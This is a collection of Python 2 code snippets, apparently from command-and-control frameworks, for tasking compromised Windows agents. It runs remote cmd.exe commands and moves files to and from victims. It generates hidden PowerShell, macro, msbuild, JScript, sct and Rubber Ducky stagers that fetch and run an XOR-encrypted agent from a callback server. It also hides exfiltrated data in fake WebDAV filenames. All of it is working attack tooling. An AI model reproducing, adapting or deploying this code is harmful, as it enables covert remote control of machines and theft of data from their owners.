Пример #1
0
	def do_cli(self, args):
		"""Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)"""
		
		if not self.currentAgentID:
			print(helpers.color("[!] No agent selected.\nUse the 'list' command to get the list of available agents, then 'use' to select one"))
			return

		print helpers.color("[*] Switching to CLI mode")
		print helpers.color("[*] Use the command 'back' to exit CLI mode")
		
		while True:
			cli = raw_input("[{}-cli]#> ".format(self.currentAgentID))
			if cli:
				if cli == 'back':
					return
				else:
					request = helpers.b64encode('cli')+'|'+helpers.b64encode(cli)

					# Send message to the main thread for dispatching
					self.c2mQueue.put({'type': 'request', 'value': request})

					# Wait for main thread's answer, block until we get an answer
					response = self.m2cQueue.get()

					if response['type'] == 'response':
						print helpers.b64decode(response['value'])
					elif response['type'] == 'disconnected':
						self.prompt = "[no agent]#> "
						self.currentAgentID = None
						return
Пример #2
0
	def do_putFile(self, args):
		"""putFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used"""

		if not self.currentAgentID:
			print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one")
			return

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: putFile <local file> [destination path]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		localFile = arguments[0]
		
		# Path normalization for Windows
		if len(arguments) > 1:
			# Add a trailing backslash if missing and replace forward slashes to backslashes
			destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\")
		else:
			destinationPath = "temp"
		
		# Check local file actually exists
		if os.path.isfile(localFile):
			fileName = os.path.basename(localFile)
			
			# Open local file and base64 encode it
			try:
				with open(localFile) as fileHandle:
					fileBytesEncoded = helpers.b64encode(fileHandle.read())
					fileHandle.close()

					request = helpers.b64encode('tfc22a')+'|' \
								+fileBytesEncoded+'|' \
								+helpers.b64encode(destinationPath)+'|' \
								+helpers.b64encode(fileName)

					# Send message to the main thread for dispatching
					self.c2mQueue.put({'type': 'request', 'value': request})

					# Wait for main thread's answer
					response = self.m2cQueue.get()

					if response['type'] == 'response':
						print helpers.b64decode(response['value'])
					elif response['type'] == 'disconnected':
						self.prompt = "[no agent]#> "
						self.currentAgentID = None
						return
			except IOError:
				print helpers.color("[!] Could not open or read file [{}]".format(localFile))
		else:
			print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
Пример #3
0
	def do_getFile(self, args):
		"""getFile <agent local file>\nDownload a file from the agent to the local system"""
		
		if not self.currentAgentID:
			print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one")
			return

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: getFile <agent local file>")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,1)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return

		# Path normalization for Windows
		fileName = os.path.basename(arguments[0])

		# Path normalization for Windows
		filePath = arguments[0].replace("/","\\")
		
		
		request = helpers.b64encode('tfa2c2')+'|'+helpers.b64encode(filePath)
		
		# Send message to the main thread for dispatching
		self.c2mQueue.put({'type': 'request', 'value': request})

		# Wait for main thread's answer
		response = self.m2cQueue.get()

		if response['type'] == 'response':
			# Save file in the incoming folder
			try:
				with open(config.INCOMINGFILES+'/'+fileName, 'w+') as fileHandle:
					fileHandle.write(helpers.b64decode(response['value']))
					fileHandle.close()
			except IOError:
				print helpers.color("[!] Could not write to file [{}]".format(config.INCOMINGFILES+'/'+fileName))
		elif response['type'] == 'disconnected':
			self.prompt = "[no agent]#> "
			self.currentAgentID = None			
Пример #4
0
    def genStager(self, stagerType, stageName):

        # These are the common parameters required by the various stager (powershell or other) script
        stagerParameters = {
            'stagePublicURL':
            self.statusHandler.publishedStageList[stageName],
            'xorKey':
            Crypto.convertKey(self.statusHandler.masterKey,
                              outputFormat="sha256"),
            'masterKey':
            helpers.b64encode(self.statusHandler.masterKey),
            'accessToken':
            self.dropboxHandler.token
        }

        if stagerType == "oneliner":
            print
            print helpers.color(stagers.GenStager.oneLiner(stagerParameters),
                                'green')
            print
            print helpers.color(
                "[*] HINT: You can use this powershell oneliner as is, or with one of the fantastic 'Nishang' client side attack vector generator"
            )
            return
        elif stagerType == "batch":
            stagers.GenStager.batch(stagerParameters)
            return
        elif stagerType == "batch2":
            stagers.GenStager.batch2(stagerParameters)
            return
        elif stagerType == "macro":
            stagers.GenStager.macro(stagerParameters)
            return
        elif stagerType == "msbuild":
            stagers.GenStager.msbuild(stagerParameters)
            return
        elif stagerType == "javascript":
            stagers.GenStager.javascript(stagerParameters)
            return
        elif stagerType == "ducky":
            stagers.GenStager.ducky(stagerParameters)
            return
        elif stagerType == "sct":
            stagers.GenStager.sct(stagerParameters)
            return
Пример #5
0
	def do_stop(self, args):
		"""Stop the current agent"""

		if not self.currentAgentID:
			print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one")
			return
		
		choice = raw_input(helpers.color("\n[>] Are you sure you want to stop this agent ? [y/N] ", "red"))
		if choice.lower() != "" and choice.lower()[0] == "y":
			request = helpers.b64encode('stop')

			# Send message to the main thread for dispatching
			self.c2mQueue.put({'type': 'request', 'value': request})

			# Wait for main thread's answer
			
			# First response is from the agent terminating		
			response = self.m2cQueue.get()

			if response['type'] == 'response':
				print helpers.b64decode(response['value'])
			else:
				# Unexpected mainMessage type at this stage
				print helpers.color("[!] Unexpected message type at this stage: ")
				print mainMessage
				
			# Second message is from the websocketserver on websocket close		
			response = self.m2cQueue.get()

			if response['type'] != 'disconnected':
				# Unexpected mainMessage type at this stage
				print helpers.color("[!] Unexpected message type at this stage: ")
				print mainMessage
			
			self.prompt = "[no agent]#> "
			self.currentAgentID = None
Пример #6
0
    if masterKey is "":
        while True:
            password = getpass.getpass(
                "[SETUP] Enter the master password used to encrypt all data between the agents and the controler: "
            )
            if password == "":
                print helpers.color(
                    "[!] You must specify a master password. It is a mandatory settings"
                )
            else:
                # Derive a 16 bytes (128 bits) master key from the provided password
                masterKey = pyscrypt.hash(password, "saltmegood", 1024, 1, 1,
                                          16)
                print helpers.color(
                    "[+] Derived master key from password: [{}]\nYou can save it in the config file to reuse it automatically next time"
                    .format(helpers.b64encode(masterKey)))
                break
    else:
        masterKey = helpers.b64decode(masterKey)
        print helpers.color(
            "[*][CONFIG] Using master key from configuration file")

    #------------------------------------------------------------------------------
    # Check that required directories and path are available, if not create them
    if not os.path.isdir(cfg.defaultPath['incoming']):
        os.makedirs(cfg.defaultPath['incoming'])
        print helpers.color(
            "[+] Creating [{}] directory for incoming files".format(
                cfg.defaultPath['incoming']))

    #------------------------------------------------------------------------------
Пример #7
0
	def do_genStager(self, args):
		"""genStager <jscript1|jscript2|jscript3>\nGenerates a stager of the selected type"""

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: genStager <stager_name>")
			return

		# Retrieve the type of stager to generate
		stagerType = args.split()[0]

		# Check it is a supported type of stager
		if stagerType not in ['jscript1', 'jscript2', 'jscript3', 'psoneliner']:
			print helpers.color("[!] Invalid stager type")
			return
		
		# Common parameters for stager generation
		params = {'callbackURL': config.CALLBACK, 'port': config.PORT, 'prefix': config.IDPREFIX}
		
		#---- Generate stager jscript1
		if stagerType == 'jscript1':
			stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent1_js.tpl')
			stagerFileName = config.STAGERFILES + '/wsc2Agent1.js'
			try:
				with open(stagerFileName, 'w+') as fileHandle:
					fileHandle.write(stager)
					fileHandle.close()
					print helpers.color("[+] Stager created as [{}]".format(stagerFileName))
			except IOError:
				print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName))

		#---- Generate stager jscript2
		elif stagerType == 'jscript2':
			stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl')
			stagerFileName = config.STAGERFILES + '/wsc2Agent2.js'
			try:
				with open(stagerFileName, 'w+') as fileHandle:
					fileHandle.write(stager)
					fileHandle.close()
					print helpers.color("[+] Stager created as [{}]".format(stagerFileName))
			except IOError:
				print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName))
		
		#---- Generate stager jscript3
		elif stagerType == 'jscript3':
			stager2 = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl')
			stager2Encoded = helpers.b64encode(stager2)
			stager = helpers.convertFromTemplate({'encoded': stager2Encoded}, 'templates/wsc2Agent3_js.tpl')
			stagerFileName = config.STAGERFILES + '/wsc2Agent3.js'
			try:
				with open(stagerFileName, 'w+') as fileHandle:
					fileHandle.write(stager)
					fileHandle.close()
					print helpers.color("[+] Stager created as [{}]".format(stagerFileName))
			except IOError:
				print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName))

		#---- Generate stager psoneliner
		elif stagerType == 'psoneliner':
			# Get bytes from the .Net assembly WSC2 agent
			try:
				with open(config.AGENTRELEASE) as fileHandle:
					agentBytes = bytearray(fileHandle.read())
					fileHandle.close()
			except IOError:
				print helpers.color("[!] Could not read agent release file [{}]".format(config.AGENTRELEASE))
			
			# We'll simply use the sha256 hash of the password as the XOR encryption key
			xorKey = Crypto.convertKey(config.XORPASSWORD, outputFormat = "sha256")
			
			# Write the XOR encrypted agent file in the web static delivery folder
			try:
				with open(config.STATICFILES+'/'+'agent.txt' , 'w+') as fileHandle:
					fileHandle.write(Crypto.xor(agentBytes, xorKey))
					fileHandle.close()
			except IOError:
				print helpers.color("[!] Could not write xor encrypted agent file [{}]".format(config.STATICFILES+'/'+'agent.txt'))
				return
			
			params['xorKey'] = xorKey
			posh = helpers.convertFromTemplate(params, 'templates/posh.tpl')
			print helpers.color("[+] Powershell one liner:")
			print "powershell.exe -NoP -sta -NonI -W Hidden -e {}".format(helpers.powershellEncode(posh))
Пример #8
0
	def propfindResponse(self, data=None, encode=True):

		# Get current time
		now = datetime.now().replace(microsecond=0)
	
		# Prepare the response's body
		body = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n"
		body += "<D:multistatus xmlns:D=\"DAV:\">\r\n"
		body += "<D:response>\r\n"
		body += "<D:href>/</D:href>\r\n"
		body += "<D:propstat>\r\n"
		body += "<D:prop>\r\n"
		body += "<D:creationdate>{}</D:creationdate>\r\n".format(helpers.webdavdate(now))
		body += "<D:displayname></D:displayname>\r\n"
		body += "<D:getcontentlanguage/>\r\n"
		body += "<D:getcontentlength>4096</D:getcontentlength>\r\n"
		body += "<D:getcontenttype/>\r\n"
		body += "<D:getetag/>\r\n"
		body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(helpers.httpdate(now))
		body += "<D:lockdiscovery/>\r\n"
		body += "<D:resourcetype><D:collection/></D:resourcetype>\r\n"
		body += "<D:source/>\r\n"
		body += "<D:supportedlock/>\r\n"
		body += "</D:prop>\r\n"
		body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n"
		body += "</D:propstat>\r\n"
		body += "</D:response>\r\n"
	
		if data:
			encodedData = helpers.b64encode(data) if encode else data
			
			# Check if the encoded data contains special characters not suited for a 'Windows' filename
			if (encodedData.find('/') != -1):
				encodedData = encodedData.replace('/','_')
			chunks = list(helpers.chunks(encodedData, 250))
		
			i = 0
			for chunk in chunks:
				body += "<D:response>\r\n"
				body += "<D:href>/{}</D:href>\r\n".format(chunk)
				body += "<D:propstat>\r\n"
				body += "<D:prop>\r\n"
				body += "<D:creationdate>{}</D:creationdate>\r\n".format(helpers.webdavdate(now.replace(minute=i)))
				body += "<D:displayname>{}</D:displayname>\r\n".format(chunk)
				body += "<D:getcontentlanguage/>\r\n"
				body += "<D:getcontentlength>0</D:getcontentlength>\r\n"
				body += "<D:getcontenttype/>\r\n"
				body += "<D:getetag/>\r\n"
				body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(helpers.httpdate(now.replace(minute=i)))
				body += "<D:lockdiscovery/>\r\n"
				body += "<D:resourcetype/>\r\n"
				body += "<D:source/>\r\n"
				body += "<D:supportedlock/>\r\n"
				body += "</D:prop>\r\n"
				body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n"
				body += "</D:propstat>\r\n"
				body += "</D:response>\r\n"
				i+=1
	
		body += "</D:multistatus>\r\n"
	
		responseHeader = "HTTP/1.1 207 Multi-Status\r\n"
		responseHeader += "Server: nginx/1.6.2\r\n"
		responseHeader += "Date: {}\r\n".format(helpers.httpdate(datetime.now()))
		responseHeader += "Content-Length: {}\r\n".format(len(body))
		responseHeader += "Proxy-Connection: Keep-Alive\r\n"
		responseHeader += "Connection: Keep-Alive\r\n\r\n"
	
		return responseHeader + body